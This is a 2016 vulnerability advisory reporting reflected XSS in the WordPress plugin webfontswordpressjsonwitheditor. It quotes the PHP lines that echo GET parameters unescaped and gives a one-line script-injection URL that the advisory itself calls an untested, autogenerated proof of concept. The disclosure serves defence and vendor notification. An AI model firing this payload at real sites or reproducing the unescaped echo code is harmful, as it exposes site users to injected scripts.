Advisory #: 191
Title: Reflected XSS in wordpress plugin webfontswordpressjsonwitheditor v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/webfontswordpressjsonwitheditor
Downloads: 4309
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: webfontswordpressjsonwitheditor
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./webfontswordpressjsonwitheditor/webfonts_admin.php: 480: <form action="admin.php?page=wfs_options&func=selector_act&pid=<?php echo $_GET['pid'] ?>" method="post"> 1009: <input type="text" name="edit_domain_text" id="edit_domain_text" style="width:200px;" value="<?php echo $_GET['dname'] ?>" /> 1011: <input type="hidden" name="did" value="<?php echo $_GET['did'] ?>" /> The variable pid appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./webfontswordpressjsonwitheditor/webfonts_admin.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/webfontswordpressjsonwitheditor/webfonts_admin.php?pid="><script>alert(1);</script><"